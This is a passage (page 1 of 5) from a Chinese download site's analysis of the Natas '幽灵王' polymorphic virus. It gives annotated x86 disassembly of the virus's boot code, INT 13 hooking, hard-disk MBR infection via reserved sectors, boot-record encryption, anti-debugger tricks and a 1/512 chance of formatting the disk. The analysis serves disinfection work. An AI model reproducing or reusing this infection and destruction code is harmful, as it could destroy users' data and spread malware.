⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 natas

📁 一套关于加解密的文件
💻
📖 第 1 页 / 共 5 页
字号:

Natas virus
Natas 
幽灵王病毒的分析
病毒介绍:
 Natas 病毒,长度 4744 
字节,有的地方有把它称为 4744 
病毒,由于病毒是用了变型技术,本身的形态几乎有无穷多种,使杀毒软件总漏掉一两个,不知什么时候又冒了出来,所以又称它为‘幽灵王’。
 
但变型加密技术并不可怕,我认为,查病毒并没有通用的方法,病毒用了多少的代码用于加密,杀毒程序也少不了这么多代码,编病毒的人用了多少时间调试,杀病毒的人只会用更多的时间去分析,从来没有通用的杀毒办法,只要以这种态度去分析病毒,杀毒程序就能把病毒杀完全。君不见,有些杀毒软件刚推出是号称开放式杀毒,永远不用升级,用户自己只要加加病毒库就行了,但到后来,升级升得比谁都快,出一个新病毒一升级,版本号都快把26个字母用完了。
 由于 Natas 病毒的长度长达 4744 字节,变型加密部分就用的近 2k,我一时没有时间写具体的杀毒细节,只能尽可能多注释一下。
 Natas 病毒是一种恶性病毒,它再启动时有1/512的机会要格式化硬盘。如果发现它,要注意马上杀,不然下一次启动你的硬盘资料可能就完蛋了。具体分析见注释。如果谁有杀毒原程序愿意公布,可以发一份给我。
病毒分析:
9E80:0000 0E             PUSH	CS 
9E80:0001 1F             POP	DS 
9E80:0002 E89400         CALL	0099 		;保存 INT 13/15/21/40
9E80:0005 A27304         MOV	[0473],AL 	;AL = 0
9E80:0008 A21114         MOV	[1411],AL 
9E80:000B 8EC0           MOV	ES,AX 
9E80:000D 5F             POP	DI 
9E80:000E 83EF03         SUB	DI,+03 
9E80:0011 50             PUSH	AX 
9E80:0012 57             PUSH	DI 		;设置执行原引导记录地址
9E80:0013 BE4700         MOV	SI,0047 	;解密并恢复原引导区
9E80:0016 E81D00         CALL	0036 
9E80:0019 B013           MOV	AL,13 
9E80:001B BA7204         MOV	DX,0472 	;设置新 INT 13 => CS:0472
9E80:001E E8B300         CALL	00D4 
9E80:0021 E8EF00         CALL	0113 		;传染硬盘引导区
9E80:0024 84168E00       TEST	[008E],DL 
9E80:0028 740B           JZ	0035 
9E80:002A B8FF01         MOV	AX,01FF 
9E80:002D E83611         CALL	1166 		;产生随机数 < 512
9E80:0030 7503           JNZ	0035 		;如果为 0 转格式化硬盘
9E80:0032 E91304         JMP	0448 		;即每次启动有 1/512 的机会
9E80:0035 CB             RETF	 		;格式化硬盘
;===========================================================================
;加密/解密原引导记录
9E80:0036 8A64FF         MOV	AH,[SI-01] 
9E80:0039 B92900         MOV	CX,0029 
9E80:003C FC             CLD	 
9E80:003D AC             LODSB	 
9E80:003E 32C4           XOR	AL,AH 
9E80:0040 D0C4           ROL	AH,1 
9E80:0042 AA             STOSB	 
9E80:0043 E2F8           LOOP	003D 
9E80:0045 C3             RET	 
9E80:0046                    07 FD-3D DC B6 A0 5C C1 FF 11        .}=\6 \A..
9E80:0050  09 A7 40 70 D6 04 B4 19-58 0A 6B CF DE BD 3A 0C  .'@pV.4.X.kO^=:.
9E80:0060  0E E0 CB D4 E6 DE 45 42-F0 13 B3 7E F8 BD 0B 4A  .`KTf^EBp.3~x=.J
;==========================================================================
;	新引导区入口程序
;==========================================================================
9E80:0070 E80000         CALL	0073 		;重定位
9E80:0073 BF4000         MOV	DI,0040 
9E80:0076 8EDF           MOV	DS,DI 		;0040:0013
9E80:0078 836DD306       SUB	Word Ptr [DI-2D],+06 	;内存减 6K
9E80:007C 8B45D3         MOV	AX,[DI-2D] 
9E80:007F B10A           MOV	CL,0A 
9E80:0081 D3C8           ROR	AX,CL 
9E80:0083 8EC0           MOV	ES,AX 		;高端段地址
9E80:0085 B80902         MOV	AX,0209 	;读出病毒 9 扇区
9E80:0088 33DB           XOR	BX,BX 
9E80:008A B9014F         MOV	CX,4F01   ===>	;CX, DX 值由 0166 设置
9E80:008D BA0001         MOV	DX,0100 
9E80:0090 CD13           INT	13 
9E80:0092 7203           JB	0097 
9E80:0094 06             PUSH	ES 		;转 0000 执行
9E80:0095 53             PUSH	BX 
9E80:0096 CB             RETF	 
9E80:0097 CD18           INT	18 
;===========================================================================
;保存中断开始 5 字节
;INT 13 ===> 13EB
;INT 15 ===> 13F3
;INT 40 ===> 13F7
;INT 21 ===> 13FB
9E80:0099 1E             PUSH	DS 
9E80:009A 33C0           XOR	AX,AX 
9E80:009C 8ED8           MOV	DS,AX 
9E80:009E BE4C00         MOV	SI,004C 	;中断 13
9E80:00A1 BFEB13         MOV	DI,13EB 
9E80:00A4 56             PUSH	SI 
9E80:00A5 56             PUSH	SI 
9E80:00A6 A5             MOVSW	 
9E80:00A7 A5             MOVSW	 
9E80:00A8 5E             POP	SI 
9E80:00A9 A5             MOVSW	 
9E80:00AA A5             MOVSW	 
9E80:00AB BE5400         MOV	SI,0054 	;中断 15
9E80:00AE A5             MOVSW	 
9E80:00AF A5             MOVSW	 
9E80:00B0 5E             POP	SI 
9E80:00B1 38067504       CMP	[0475],AL 
9E80:00B5 7403           JZ	00BA 
9E80:00B7 BE0001         MOV	SI,0100 
9E80:00BA A5             MOVSW	 
9E80:00BB A5             MOVSW	 
9E80:00BC BE8400         MOV	SI,0084 	;中断 21
9E80:00BF A5             MOVSW	 
9E80:00C0 A5             MOVSW	 
9E80:00C1 1F             POP	DS 
9E80:00C2 C3             RET	 
;=========================================================================
;取中断向量于 ES:BX, 入口 AL = 中断向量号
9E80:00C3 50             PUSH	AX 
9E80:00C4 32E4           XOR	AH,AH 
9E80:00C6 D1C0           ROL	AX,1 
9E80:00C8 D1C0           ROL	AX,1 
9E80:00CA 93             XCHG	AX,BX 
9E80:00CB 33C0           XOR	AX,AX 
9E80:00CD 8EC0           MOV	ES,AX 
9E80:00CF 26C41F         LES	BX,ES:[BX] 
9E80:00D2 58             POP	AX 
9E80:00D3 C3             RET	 
;=========================================================================
;设置中断向量到 DS:DX, 入口 AL = 中断向量号
9E80:00D4 50             PUSH	AX 
9E80:00D5 53             PUSH	BX 
9E80:00D6 1E             PUSH	DS 
9E80:00D7 32E4           XOR	AH,AH 
9E80:00D9 D1C0           ROL	AX,1 
9E80:00DB D1C0           ROL	AX,1 
9E80:00DD 93             XCHG	AX,BX 
9E80:00DE 33C0           XOR	AX,AX 
9E80:00E0 1E             PUSH	DS 
9E80:00E1 8ED8           MOV	DS,AX 
9E80:00E3 8917           MOV	[BX],DX 
9E80:00E5 8F4702         POP	[BX+02] 
9E80:00E8 1F             POP	DS 
9E80:00E9 5B             POP	BX 
9E80:00EA 58             POP	AX 
9E80:00EB C3             RET	 
;========================================================================
;所有寄存器进堆栈
9E80:00EC 2E8F060214     POP	CS:[1402] 
9E80:00F1 9C             PUSHF	 
9E80:00F2 50             PUSH	AX 
9E80:00F3 53             PUSH	BX 
9E80:00F4 51             PUSH	CX 
9E80:00F5 52             PUSH	DX 
9E80:00F6 55             PUSH	BP 
9E80:00F7 56             PUSH	SI 
9E80:00F8 57             PUSH	DI 
9E80:00F9 1E             PUSH	DS 
9E80:00FA 06             PUSH	ES 
9E80:00FB 8BEC           MOV	BP,SP 
9E80:00FD 2EFF260214     JMP	CS:[1402] 
;=========================================================================
;所有寄存器出堆栈
9E80:0102 2E8F060214     POP	CS:[1402] 
9E80:0107 07             POP	ES 
9E80:0108 1F             POP	DS 
9E80:0109 5F             POP	DI 
9E80:010A 5E             POP	SI 
9E80:010B 5D             POP	BP 
9E80:010C 5A             POP	DX 
9E80:010D 59             POP	CX 
9E80:010E 5B             POP	BX 
9E80:010F 58             POP	AX 
9E80:0110 9D             POPF	 
9E80:0111 EBEA           JMP	00FD 
;==========================================================================
;文件执行初始化及启动时传染硬盘子程序
;由 0021 043C 调用
9E80:0113 0E             PUSH	CS 
9E80:0114 0E             PUSH	CS 
9E80:0115 07             POP	ES 
9E80:0116 1F             POP	DS 
9E80:0117 B80102         MOV	AX,0201 
9E80:011A BB1314         MOV	BX,1413 
9E80:011D B90100         MOV	CX,0001 
9E80:0120 BA8000         MOV	DX,0080 
9E80:0123 E89509         CALL	0ABB 		;读硬盘主引导区
9E80:0126 7230           JB	0158 
9E80:0128 38AFBF01       CMP	[BX+01BF],CH 	;无保留磁道不传染
9E80:012C 742A           JZ	0158 
9E80:012E 8B8FC401       MOV	CX,[BX+01C4] 	;取保留磁道扇区数
9E80:0132 83E13F         AND	CX,+3F 		;屏蔽 CX 高位 (柱面高位)
9E80:0135 83E909         SUB	CX,+09 		;到数 9 扇区
9E80:0138 761E           JBE	0158 		;扇区数小于 9 不传染
9E80:013A 80F901         CMP	CL,01 
9E80:013D 7619           JBE	0158 
9E80:013F E81700         CALL	0159 		;判断是否已传染
9E80:0142 7214           JB	0158 		;已传染退出
9E80:0144 53             PUSH	BX 
9E80:0145 B80903         MOV	AX,0309 	;写病毒到保留扇区
9E80:0148 33DB           XOR	BX,BX 
9E80:014A E86E09         CALL	0ABB 
9E80:014D 5B             POP	BX
9E80:014E 7208           JB	0158 
9E80:0150 B80103         MOV	AX,0301 	;写新引导记录
9E80:0153 B101           MOV	CL,01 		;CS:0000
9E80:0155 E86309         CALL	0ABB 
9E80:0158 C3             RET	 
;==========================================================================
;判断引导记录是否已传染及准备新的引导记录
9E80:0159 51             PUSH	CX 
9E80:015A 52             PUSH	DX 
9E80:015B 81BFFE0155AA   CMP	Word Ptr [BX+01FE],AA55 
9E80:0161 7525           JNZ	0188 
9E80:0163 BF4700         MOV	DI,0047 
9E80:0166 894D44         MOV	[DI+44],CX 	;保存病毒传染位置
9E80:0169 80E280         AND	DL,80 
9E80:016C 895547         MOV	[DI+47],DX 
9E80:016F E81A00         CALL	018C 		;判断是否传染 (返回 SI 地址)
9E80:0172 7414           JZ	0188 		;已传染转 0188 退出
9E80:0174 E8EC0F         CALL	1163 		;产生随机数
9E80:0177 8865FF         MOV	[DI-01],AH 	;保存于 0046
9E80:017A 56             PUSH	SI 
9E80:017B E8BBFE         CALL	0039 		;加密原引导记录
9E80:017E 8BF7           MOV	SI,DI 		;SI = 0070, 病毒入口
9E80:0180 5F             POP	DI 		;DI = 原引导记录 JMP 入口
9E80:0181 B92900         MOV	CX,0029 	;移动病毒到原引导记录
9E80:0184 F3             REPZ	
9E80:0185 A4             MOVSB	 
9E80:0186 F8             CLC	 
9E80:0187 B0F9           MOV	AL,F9 
9E80:0189 5A             POP	DX 
9E80:018A 59             POP	CX 
9E80:018B C3             RET	 
;==========================================================================
;返回 JMP 后的指令地址于 SI
;判断 JMP 后指令是否为 0070 处指令 (是否传染)
9E80:018C 8BF3           MOV	SI,BX 
9E80:018E FC             CLD	 
9E80:018F AC             LODSB	 
9E80:0190 50             PUSH	AX 
9E80:0191 AD             LODSW	 
9E80:0192 91             XCHG	AX,CX 		;AL/CX 为引导区前 3 字节
9E80:0193 58             POP	AX 
9E80:0194 3CEB           CMP	AL,EB 		;JMP XXXX
9E80:0196 7505           JNZ	019D 
9E80:0198 32ED           XOR	CH,CH 
9E80:019A 4E             DEC	SI 
9E80:019B EB08           JMP	01A5 
9E80:019D 3CE9           CMP	AL,E9 		;JMP XXXX
9E80:019F 7404           JZ	01A5 
9E80:01A1 33C9           XOR	CX,CX 
9E80:01A3 8BF3           MOV	SI,BX 
9E80:01A5 03F1           ADD	SI,CX 		;SI 为引导记录开始指令
9E80:01A7 81FEE515       CMP	SI,15E5 	;15E5 - 1413 = 01D2
9E80:01AB 73F4           JNB	01A1 		; > 01D2 退出
9E80:01AD 813CE800       CMP	Word Ptr [SI],00E8 
9E80:01B1 7505           JNZ	01B8 		;判前 2 句指令是否
9E80:01B3 817C0200BF     CMP	Word Ptr [SI+02],BF00 	;CALL next/MOV DI,xxxx
9E80:01B8 C3             RET	 		;(见 0070)
;=========================================================================
;判断是否有跟踪
;如果有,返回 BP <> 0
9E80:01B9 33C0           XOR	AX,AX 
9E80:01BB 9C             PUSHF	 
9E80:01BC 5A             POP	DX 		;取当前标志
9E80:01BD 80E6FE         AND	DH,FE 
9E80:01C0 52             PUSH	DX 
9E80:01C1 52             PUSH	DX 
9E80:01C2 9D             POPF	 
9E80:01C3 16             PUSH	SS 
9E80:01C4 17             POP	SS 
9E80:01C5 9C             PUSHF	 
9E80:01C6 5A             POP	DX 
9E80:01C7 F6C601         TEST	DH,01 
9E80:01CA 5A             POP	DX 
9E80:01CB 7415           JZ	01E2 		;无跟踪转 01E2
9E80:01CD 06             PUSH	ES 
9E80:01CE 33ED           XOR	BP,BP 
9E80:01D0 8CD1           MOV	CX,SS 
9E80:01D2 FA             CLI	 
9E80:01D3 8ED5           MOV	SS,BP 
9E80:01D5 C47E04         LES	DI,[BP+04] 	;有跟踪取 INT 01 地址
9E80:01D8 8ED1           MOV	SS,CX 
9E80:01DA FB             STI	 
9E80:01DB B0CF           MOV	AL,CF 
9E80:01DD FC             CLD	 
9E80:01DE AA             STOSB	 		;将 INT 01 设置为 IRET
9E80:01DF 07             POP	ES 
9E80:01E0 52             PUSH	DX 
9E80:01E1 9D             POPF	 
9E80:01E2 95             XCHG	AX,BP 		;无跟踪 AX = 0
9E80:01E3 C3             RET	 
;========================================================================
;保存或恢复 INT 13 中断前 5 字节
9E80:01E4 E805FF         CALL	00EC 
9E80:01E7 BED913         MOV	SI,13D9

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -